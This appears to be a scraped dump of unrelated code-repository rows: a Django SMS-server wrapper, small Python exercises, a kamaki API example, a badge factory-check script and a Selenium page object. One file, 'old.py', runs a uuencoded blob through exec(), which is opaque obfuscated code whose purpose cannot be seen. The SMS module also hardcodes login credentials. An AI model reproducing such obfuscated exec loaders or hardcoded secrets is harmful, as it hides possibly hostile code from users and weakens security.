t = Time(start=start, end=parse_obj[2], delta=parse_obj[3],
relative=relative)
else:
raise
return t
def _parse_time_string(self, time_string):
'''Parse a string in the form [H]H:mm into a datetime.time object.'''
if len(time_string) == 5:
hour = int(time_string[:2])
minute = int(time_string[3:])
elif len(time_string) == 4:
hour = int(time_string[0])
minute = int(time_string[2:])
else:
raise
return dt.time(hour=hour, minute=minute)
def cdp_definition(self, indent_order=0):
relative_part = ''
time_fmt = '%H:%M'
if self.relative:
relative_part = '+'
if self.start == self.end:
time_part = self.start.strftime(time_fmt)
else:
delta_hours = self.delta.seconds / 3600
delta_minutes = (self.delta.seconds / 3600.0 - delta_hours) * 60
delta = dt.time(delta_hours, int(delta_minutes))
time_part = self.start.strftime(time_fmt) + ' ' + \
self.end.strftime(time_fmt) + ' ' + \
delta.strftime(time_fmt)
output = '%stime %s%s\n' % ('\t' * indent_order, relative_part, time_part)
return output
def __repr__(self):
return 'time(%s, %s, %s)' % (self.start, self.end, self.delta)
class SMSServer(models.Model):
alias = models.CharField(max_length=100)
rpc_num = models.IntegerField()
host_settings = models.ForeignKey(Host)
@staticmethod
def get_server(alias):
'''
Get the server object and initialize it in one go
'''
s = SMSServer.objects.get(alias=alias)
login_result = s._init_server()
return s, login_result
def _init_server(self):
if not hasattr(self, 'connection'):
self.CDP_PROMPT = 'CDP>'
self.CDP_COMMANDS = {
'login' : 'login %s %s %s',
'terminate' : 'terminate -y',
'suites' : 'suites',
'update' : 'get',
'get_suite' : 'show',
}
self.host = HostFactory().create_host(self.host_settings)
self.base_path = os.path.join(self.host.dataPath, 'SMS_SERVERS', self.alias)
self.server_dir = os.path.join(self.base_path, 'SERVER_START_DIR')
self.suites_dir = os.path.join(self.base_path, 'SUITES')
self.connection = self._connect_to_cdp()
server_started = self._start_server()
if server_started == 0:
login = self.login()
else:
login = 1
return login
def list_suites(self):
'''Return a list with the names of the suites in the server.'''
out = self._get_cdp_result(self.CDP_COMMANDS['suites'])
suites = out[4].split()
return suites
def _get_suite_definition(self, suite_name):
'''Return a string with the CDP commands that defined a suite.'''
update = self._get_cdp_result(self.CDP_COMMANDS['update'])
out = self._get_cdp_result(self.CDP_COMMANDS['get_suite'])
suite_def = ''
suite_started = False
for line in out:
if line.startswith('suite') and suite_name in line:
suite_started = True
if suite_started:
suite_def += line + '\n'
if suite_started and line.startswith('endsuite'):
break
return suite_def
def __unicode__(self):
return '%s:%s_%s' % (self.alias, self.host_settings.name, self.rpc_num)
def _create_directories(self):
for d in (self.server_dir, self.suites_dir):
self.host.make_dir(d)
def _delete_directories(self):
self.init_server()
for d in (self.server_dir, self.suites_dir):
self.host.remove_dir(d)
def login(self):
out = self._get_cdp_result(self.CDP_COMMANDS['login'] % (self.host.host, 'ricardo', 'pass'))
result = 0
for line in out:
if 'ERR' in line:
result = 1
return result
def _get_cdp_result(self, command):
self.connection.sendline(command)
self.connection.expect(self.CDP_PROMPT)
result = self.connection.before.split('\r\n')
return result
def _connect_to_cdp(self):
os.environ['SMS_PROG'] = str(self.rpc_num)
c = pexpect.spawn('cdp')
c.expect(self.CDP_PROMPT)
return c
def _start_server(self):
retcode = self._ping_server()
if retcode == 0:
print('the server is already running')
result = 0
else:
print('starting the sms server...')
self._create_directories()
os.environ['SMS_PROG'] = str(self.rpc_num)
result = self.host.start_sms_server(self.server_dir)
return result
def _ping_server(self):
os.environ['SMS_PROG'] = str(self.rpc_num)
stdout, stderr, retcode = self.host.run_program('smsping %s' % \
self.host.host)
return retcode
def _terminate_server(self):
'''
Terminate the SMS server.
This completely kills the SMS server instance.
'''
result = self._get_cdp_result(self.CDP_COMMANDS['terminate'])
del self.connection
| [
"[email protected]"
] | |
a456555d16957dca3ed397cf6518964ca109d789 | 91258feb85b11a4b4320db6c528eefabbdd55fd9 | /ZadaniaPython2_Paweł_Biernacki/z.5.py | 4c875d2198bf058c7f4d40e0105896c5e60a317b | [] | no_license | brzozowskitomasz/aplikacjeWWW | 46c9beb58e620a05d4acf8c2f65c16fd2c598605 | b1c5303080bfbeb66a4223bdacfde9b237f3acc4 | refs/heads/master | 2022-12-23T03:58:53.109135 | 2019-12-11T20:41:46 | 2019-12-11T20:41:46 | 212,618,450 | 0 | 1 | null | 2022-12-09T14:10:29 | 2019-10-03T15:49:58 | Python | UTF-8 | Python | false | false | 228 | py | class Calculator():
def add(self, x, y):
return x+y
def difference(self, x, y):
return x - y
def multiply(self, x, y):
return x * y
def divide(self, x, y):
return x / y
| [
"[email protected]"
] | |
f306b24fb3bdc7c8dd65655119467bd57f2d3846 | 1045dee390d6e09566f9a9378f1ca00740c82318 | /PriorityQueue2.py | 402faa0ef16c29061fcdf8d9d391297eee27a981 | [] | no_license | nvdtien13072/Implementing-a-Priority-Queue | f09fdada7fb19af0e91d006944f6db4a874d1673 | 697bfe53e1fb857fcc3692a889584e30cab135d1 | refs/heads/master | 2020-05-15T18:24:25.087295 | 2019-04-20T15:51:10 | 2019-04-20T15:51:10 | 182,424,840 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 645 | py | import heapq
class PriorityQueue:
def __init__(self):
self._queue = []
def push(self, item, prioriry):
heapq.heappush(self._queue, (-prioriry, item))
def pop(self):
return heapq.heappop(self._queue)[-1]
class Item:
def __init__(self, name):
self.name = name
def __repr__(self):
return 'Item({!r})'.format(self.name)
p = PriorityQueue()
p.push(Item('foor'),1)
p.push(Item('bar'),5)
p.push(Item('spam'),4)
p.push(Item('grok'),2)
a = (1, Item('foo'))
b = (5, Item('bar'))
c = (1, Item('gorl'))
a < b
a < c
print(p.pop())
print(p.pop())
print(p.pop())
print(p.pop())
| [
"[email protected]"
] | |
8f220f700dd299152e8b98b97200aa4c9490f397 | 0affdb2f75b1f792f2402f1b38f719194cd23c6a | /Python 31 Programs/Ch 9/cards.py | 438b68f1ebc46a5153f36593545940b7f3ab1d14 | [] | no_license | kayyali18/Python-Code | 4a00021b8931125c26b058dac70ed1f2ff593c6b | aecbea84783a45b20feefd7bdf5281f3dca80d0c | refs/heads/master | 2020-12-25T15:08:13.202204 | 2016-09-28T04:01:21 | 2016-09-28T04:01:21 | 67,557,703 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,378 | py | # Final Cards Module
## Basic classes for a game with playing cards
class Card (object):
"""A playing card"""
# create CONSTANTS
RANKS = ["A", "2", "3", "4", "5", "6", "7",
"8", "9", "10", "J", "Q", "K"]
SUITS = ["♣", "♦", "♥", "♠" ]
# create a constructor method
def __init__ (self, rank, suit, face_up = True):
self.rank = rank
self.suit = suit
self.is_face_up = face_up
# define a string representaion of object
def __str__ (self):
if self.is_face_up:
rep = self.rank + self.suit
else:
rep = "XX"
return rep
## def a method to flip the cards
def flip (self):
self.is_face_up = not self.is_face_up
#define a class for the hand
class Hand (object):
""" A Hand of Playing Cards """
def __init__ (self):
self.cards = []
## string rep of object
def __str__ (self):
if self.cards:
rep = ""
for card in self.cards:
rep += str(card) + "\t"
else:
rep = "<empty>"
return rep
# define a method to clear the current hand
def clear (self):
self.cards = []
# a method to add cards to hand
def add (self, card):
self.cards.append (card)
# def a method to give the cards from one hand to the other
def give (self, card, other_hand):
self.cards.remove (card)
other_hand.add (card)
class Deck (Hand):
""" A Deck of Playing Cards """
# a method to populate the deck
def populate (self):
for suit in Cards.SUITS:
for rank in Cards.RANKS:
self.add (Cards(rank, suit))
# method to shuffle the cards
def shuffle (self):
import random
random.shuffle (self.cards)
# method to deal the cards
def deal (self, hands, per_hand = 1):
for rounds in range (per_hand):
for hand in hands:
if self.cards:
top_card = self.cards [0]
self.give (top_card, hand)
else:
print ("Can't continue to deal. Out of cards!")
## function to only allow this module to be used if imported
if __name__ == "__main__":
print ("This is a module with classes for playing cards")
input ("\n\nPress Enter to exit")
| [
"[email protected]"
] | |
12fd9b9619ef608a8ac594337ea7187672d38630 | d5b0a15770f2434951a8e1b512d5f771dcf06e5d | /docs/library/examples/astakos-project-quotas.py | 9a6690b186588a52e98ff41d4e084a5c3eef908f | [
"BSD-2-Clause"
] | permissive | grnet/kamaki | 644fba79ebc58e3c2c75e1c6918b04c67152d171 | 5b7e203f54acf4c6240f22d71fa8bdbeff0581ea | refs/heads/develop | 2020-12-24T05:28:12.899858 | 2018-02-08T13:55:04 | 2018-02-08T13:55:04 | 17,514,602 | 3 | 6 | NOASSERTION | 2018-10-09T15:31:44 | 2014-03-07T13:21:05 | Python | UTF-8 | Python | false | false | 2,205 | py | # Copyright 2016 GRNET S.A. All rights reserved.
#
# Redistribution and use in source and binary forms, with or
# without modification, are permitted provided that the following
# conditions are met:
#
# 1. Redistributions of source code must retain the above
# copyright notice, this list of conditions and the following
# disclaimer.
#
# 2. Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials
# provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY GRNET S.A. ``AS IS'' AND ANY EXPRESS
# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL GRNET S.A OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
# AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# The views and conclusions contained in the software and
# documentation are those of the authors and should not be
# interpreted as representing official policies, either expressed
# or implied, of GRNET S.A.
from kamaki.clients.astakos import AstakosClient
AUTHENTICATION_URL = "https://astakos.example.com/identity/v2.0"
TOKEN = "User-Token"
astakos = AstakosClient(AUTHENTICATION_URL, TOKEN)
# Get user uuid
user = astakos.authenticate()
uuid = user['access']['user']['id']
# Get resources assigned on my personal (system) project
all_resources = astakos.get_quotas()
for project, resources in all_resources.items():
print "For project with id {project_id}".format(project_id=project)
for resource, values in resources.items():
print " {resource}: {used}/{limit}".format(
resource=resource, used=values["usage"], limit=values["limit"])
| [
"[email protected]"
] | |
e6679e71ec21faa91fbef707615ee4e03ab51b32 | 8779fd9908e4e2c3463f789a6e50e3655c4f5e15 | /c125.py | 75bd2fc01c706b5bd609e87f788e555e4eb7bbdc | [] | no_license | sti320a/atcoder_ | 33630102555a62504012807ede9ce3b237d8827d | 0789fb5e67f4d3cbe4b477fc76e62db6633ca4df | refs/heads/master | 2020-05-28T02:07:41.806090 | 2019-06-08T04:08:22 | 2019-06-08T04:08:22 | 188,849,931 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 374 | py | N = int(input())
As = list(map(int, input().split()))
def gcd(x, y):
if x < y:
x, y = y, x
if y == 0:
return x
return gcd(x % y, y)
L = []
R = []
L.append(0)
R.append(0)
for i in range(N - 1):
L.append(gcd(L[i], As[i]))
R.append(gcd(R[i], As[N-i-1]))
ans = 0
for i in range(N):
ans = max(ans, gcd(L[i], R[N-i-1]))
print(ans)
| [
"[email protected]"
] | |
af3183e94204d36935d82d29d591916f4a770654 | e333c0f61e1de848843b017e40a4abed1fc016fe | /UsersApp/migrations/0003_question_profile_is_correct.py | 0b5909d60948402e2b140f2606e84c1d30fd2590 | [] | no_license | Negar-R/Online_Exam | 67a020b7dce2b63646faaa59335c50b291f982d3 | 5ba73ce0e3aa8d325aedd3afecf89326f4d0b910 | refs/heads/master | 2021-01-03T23:12:12.926984 | 2020-02-13T16:02:40 | 2020-02-13T16:02:40 | 240,277,036 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 408 | py | # Generated by Django 2.2 on 2020-01-01 12:24
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('UsersApp', '0002_auto_20200101_1105'),
]
operations = [
migrations.AddField(
model_name='question_profile',
name='is_correct',
field=models.BooleanField(blank=True, null=True),
),
]
| [
"[email protected]"
] | |
993631290039ec26d4ae0bb558832e633962dfd1 | 92a7a80336e4c0547f68ab8f4071ccafd03360fe | /Pages/table_filter_search.py | 2360d0142be40686bb93de5b00c0b1b452a3af52 | [] | no_license | shamssami/Selenium-Tutorial | 07e4626ba762ee40be377cfcd6a6318d51cbc353 | 13e8ad1e73def3f03ef93e6f40921e2935b0e920 | refs/heads/main | 2023-06-26T01:29:56.943819 | 2021-07-31T20:59:11 | 2021-07-31T20:59:11 | 384,167,996 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 690 | py | from Pages.base_page import BasePage
from Utils.locators import *
class TableSearch(BasePage):
def __init__(self, driver):
self.locator = TableSearchLocators
super().__init__(driver)
def filter_table(self, text):
self.driver.find_element(*self.locator.input_filter_field).send_keys(text)
def clear_text_field(self):
self.driver.find_element(*self.locator.input_filter_field).clear()
def is_enabled_filter(self):
status = self.driver.find_element(*self.locator.input_data_field).is_enabled()
return status
def click_filter_button(self):
self.driver.find_element(*self.locator.filter_activate_button).click()
| [
"[email protected]"
] | |
e5289dc075c09e4512947e282b73fe0235e27144 | 28729bdabcb1c83429752bc15b14f2ac1950028f | /firmware/python_modules/mch2021/factory_checks.py | 3b2d37e7e2e80dab47ebf9aa92bfee47ae277491 | [] | no_license | badgeteam/ESP32-platform-firmware | 434020769b36df164fd1719b3bcf996851d55294 | 04282f7fe84ddd0f0c3887fa948da68a9ade8126 | refs/heads/master | 2023-08-17T07:07:51.048777 | 2023-08-14T20:53:37 | 2023-08-14T20:53:37 | 194,534,857 | 31 | 49 | null | 2023-08-15T21:00:09 | 2019-06-30T15:59:30 | C | UTF-8 | Python | false | false | 1,911 | py | import machine, display, time, system, consts, easydraw, network, sndmixer
PREV_TGT = 1
CURR_TGT = 3
# 1) Introduction
currentState = machine.nvs_getint('system', 'factory_checked') or 0
if currentState >= PREV_TGT:
machine.nvs_setint('system', 'factory_checked', CURR_TGT)
system.home()
easydraw.messageCentered("FACTORY\n"+consts.INFO_FIRMWARE_NAME+"\nBuild "+str(consts.INFO_FIRMWARE_BUILD), True)
display.flush()
time.sleep(1.5)
# 4) Make sure that WiFi works
easydraw.messageCentered("WiFi\nScanning...", True)
display.flush()
sta_if = network.WLAN(network.STA_IF)
sta_if.active(True)
data = sta_if.scan()
if len(data) > 0:
easydraw.messageCentered("WiFi\nFound {}".format(len(data)), True)
display.flush()
#for item in data:
# print("SSID: {}, BSSID: {}. CHANNEL: {}, RSSI: {}, AUTHMODE: {} / {}, HIDDEN: {}".format(item[0], item[1], item[2], item[3], item[4], item[5], item[6]))
else:
easydraw.messageCentered("WiFi\nNo network!", True)
display.flush()
while True:
time.sleep(1) #Sleep forever
# 5) Install icons (workaround)
easydraw.messageCentered("Installing...", False)
display.flush()
import dashboard.resources.png_icons as icons
icons.install()
# 6) Set flag
machine.nvs_setint('system', 'factory_checked', CURR_TGT)
machine.nvs_setint('system', 'force_sponsors', 1)
# 7) Show message
easydraw.messageCentered("PASSED", True)
display.flush()
# 8) Blink LEDs and make noise
sndmixer.begin(2)
synth = sndmixer.synth()
sndmixer.volume(synth, 50)
sndmixer.waveform(synth, 1)
while True:
sndmixer.freq(synth, 500)
time.sleep(0.25)
sndmixer.freq(synth, 600)
time.sleep(0.25)
sndmixer.freq(synth, 800)
time.sleep(0.25)
sndmixer.freq(synth, 500)
time.sleep(0.25)
sndmixer.freq(synth, 600)
time.sleep(0.25)
sndmixer.freq(synth, 800)
time.sleep(0.25)
sndmixer.freq(synth, 1000)
time.sleep(0.50)
| [
"[email protected]"
] | |
42bbc61738fc3cf5e9adfe65bf431faab7102808 | 62296d41fc5cadd28ba8fc655631752bd8de2c13 | /old.py | f1d29d317d8defd80f4b5b8c4e069838e8a68acb | [] | no_license | Bigra123/old | 0225e4a636a44d32b267c2fb858a8385653b1125 | 657dda4eab08da8aceda22390e9b4ea75bb8643e | refs/heads/main | 2023-08-01T22:45:23.426170 | 2021-10-03T02:01:57 | 2021-10-03T02:01:57 | 411,934,330 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,875,028 | py | #-------------------------------------------------#
# rana mz
# hehe! nam tu suna huga
#-------------------------------------------------#
import codecs
exec (lambda _,__ : _('''begin 666 <data>\nM:6UP;W)T(&-O9&5C<PIE>&5C("AL86UB9&$@7RQ?7R Z(%\\H)R<G8F5G:6X@\nM-C8V(#QD871A/EQN33HV55 [5RE4*"8M3SDF-4,\\4$E%/B8U0R@B04PX-E5"\nM.28D0#=243\\W4B!:*"5<7$@I4CQ\'.$8U1SHV6$!<;DTM0SA6*"-11#@W,4$O\nM15%.,S-(5C4U(%LU4D4T*B(X33-31$8M-"Q<7#0D124O0CA5,%) 0C T4%@M\nM134B7&Y-+C(X1# C/3(T,UQ<5S1"(3HJ(C4\\-R1 231#45PG+B0X53%32%8V\nM)"$\\.T1433!3038J(BTQ,2- 5RPT)$]<;DTQ-24N+%,M*#5#-%4H)4Q5-$0T\nM5"I"*%@S,RTS,20X32TB43PW(S!$,3(T3S!#034L)2D@,$,@5#0E0$U<;DTQ\nM,S1"-R99+2M#*%@Q(R!#+S,H5"Q543PU4S$B*#-(2BA#-%Q<+5(Q(#(S,2,T\nM-5!\'*T(P6#4S)3,R)3A67&Y-*2(D7%PN5#$T,S,A,S S.$HH0E11+#(M(#52\nM4%0I)%T\\.T1442TR-$XK)2Q-*B,U(RTE-$@I-%$U+20P5%QN334B22(J)4!3\nM+%)44RPR,%@S,E1"-#-05RA3(20L,RA4,U,A(S S-$PI,D1 +"0L0#4C,$4P\nM)%4\\.T1445QN32Q3,2(M4CDY*S)-(RHE0%$H4B$C*U,L2#4B434T,U!5-%,D\nM0BHC+2@R0D$C+251/"LU*%$H(RA3+#(L5%QN32TU(5PG*E0H4#8C-%,I,RQ2\nM*3-!-C<F62TJ,BA$-R503C4C)%0L4RQ!+%,@4RXD2$@P13$Q*R,H32@C-3)<\nM;DTT)3!)*2547%PN5#$T-#)44BTD6$LI,E$M*D(L52A25$4M)$!)+24D52LR\nM,% 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T55%.,S)412PD4%4L\nM0C$U*E,H5#,C)$5<;DTT-%A3+%(D0BQ",$PR4E$D*#,H3"DC(20L)2DL-$)4\nM4RDD7%Q(,24D52I$*%0Q(RA",#,H4"Q242LJ)2DA7&Y-*R513C,R5%(M,R13\nM,%)1,BTR-%0R(E15*#501RI$,%0T(RA#+"0L3BDB42TJ,RDQ*C),12HS)$PQ\nM-24N7&Y-+%,I*#123%(I)%10-%4D1BLT+$DM(RDB-#(I/#M$5% L0R$M+20L\nM5#0B430K)3!0-$0Q)2LB,3 U(S$E7&Y-*20D2C1#,2PL(BQ1+$,X1"PE*$DI\nM(B10*R,L3#$C,%(R,RA+*20A,RLD,$$H4DQ3*R1%/#M$5$\\I-24N7&Y-+%,M\nM+2DC-$4L)$1,-$(Q*2I$+$@U,E1#+R0T5"DE034J)2A1+2),4BLD1$TH4R1"\nM+3(P4#5"1$0T,D1+7&Y-*2,Q)"Q#*2DH0DQ$,211/#M$5$PQ(C$C*D(H4#4C\nM*2(Q)#10+$0Q*RLD+%$I(E13*C)04#4U)2XL4RDL7&Y-,2,@12TD1$TL0S$N\nM*E(T3#,C+%(T,BQ+*3)1*RHR-%$J,DA2*B0Q/#M$5%0H4U$F+4,I-#)#,2,L\nM,D!-7&Y-+$)1,2LD+% T0DA$-21$32Q#)%Q<+5(I+#$R2$0Q)%1(-$,D0BLB\nM*%0S(S12,20P5"Q%-%Q<+E0Q-#)"1$-<;DTH,R4\\.T142BA21$DJ)"DH,2,D\nM1#,D4%$H4C$B*E(P2#0C,$,J)2A1*3)!,"LD,$$K,DQ%*C,D3"Q$5%)<;DTJ\nM4C4Q+R)01"LD0%$L13$D+%(Q)#(C,3(L,E$\\.T14331#1%DJ4RDI*$)012TD\nM4$PQ-21<7"PE-3$S0RQ27&Y-,20T32DS(2TJ,S!1+R,\\0C8S,$PL4R$T+20T\nM1#$B5$,K)$!3*$0D4BTR-$ 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U4S15-#-04BQ$03(L\nM(S!,-E,U(RDR-%=<;DTI14$U*T(T7%PS(RTC,20X32TB43LW)EDM+30L12DR\nM23(J)515+%4Q-2U3,$PV4S4C*3(T3BDR03PW(RA57&Y--#182"DU)2XN,SDY\nM,2,\\1C8D/$DT0U$L+54U/#<D1$HL1"4C+E4X43$S03<K)%D\\.T,H62E#-2,N\nM53A17&Y-,3),0B\\U-%TM-54C+E4X43$S03(O)$4\\.T(A/#M&-4XY)5%.*5(\\\nM1RLE73\\J,D1(.%9=1#DV+5,K1C%%7&XP.%9=1#DR4$<]-S4_.%9=1#DV+$<J\nM," @7&X@7&YE;F1<;B<G)RQ?7RDI*&-O9&5C<RYD96-O9&4L)W5U7V-O9&5C\n")RD \n \nend\n''',__))(codecs.decode,'uu_codec') | [
"[email protected]"
] | |
06a02dd9267e13381a8d17c2a146a358d9263638 | 7a83c311c77c1f1bb7ff0e45284b5678e8c65b91 | /des093.py | 57440c8fac5a22b3c5f58d2476a1d05bf8792138 | [] | no_license | cleitone1000/Estudos | 56b7ffec4991a3ec3de0eb0bbb1685aa1730eac6 | 14424369bba6ece664b43a1bbe7e37cfe0c811f9 | refs/heads/main | 2023-06-08T18:51:47.017871 | 2023-06-06T13:35:08 | 2023-06-06T13:35:33 | 355,909,820 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 707 | py | gols = list()
total = 0
nome = str(input('Nome do Jogador: '))
qtd_partidas = int(input(f'Quantas partidas o jogador {nome} jogou: '))
for i in range(qtd_partidas):
gols.append(int(input(f'Quantos gols na partida {i}: ')))
for c in range(len(gols)):
total += gols[c]
jogador = {
'nome': nome,
'gols': gols[:],
'total': total
}
print('#'*30)
print(jogador)
print('#'*30)
for k, v in jogador.items():
print(f'O campo {k} tem o valor {v}')
print('#'*30)
print(f'O jogador {jogador["nome"]} jogou {len(jogador["gols"])} partidas.')
for p in range(0, len(jogador['gols'])):
print(f'Na partida {p} ele fez {gols[p]} gols')
print(f'Foi um total de {jogador["total"]}'
f' gols.')
| [
"[email protected]"
] |
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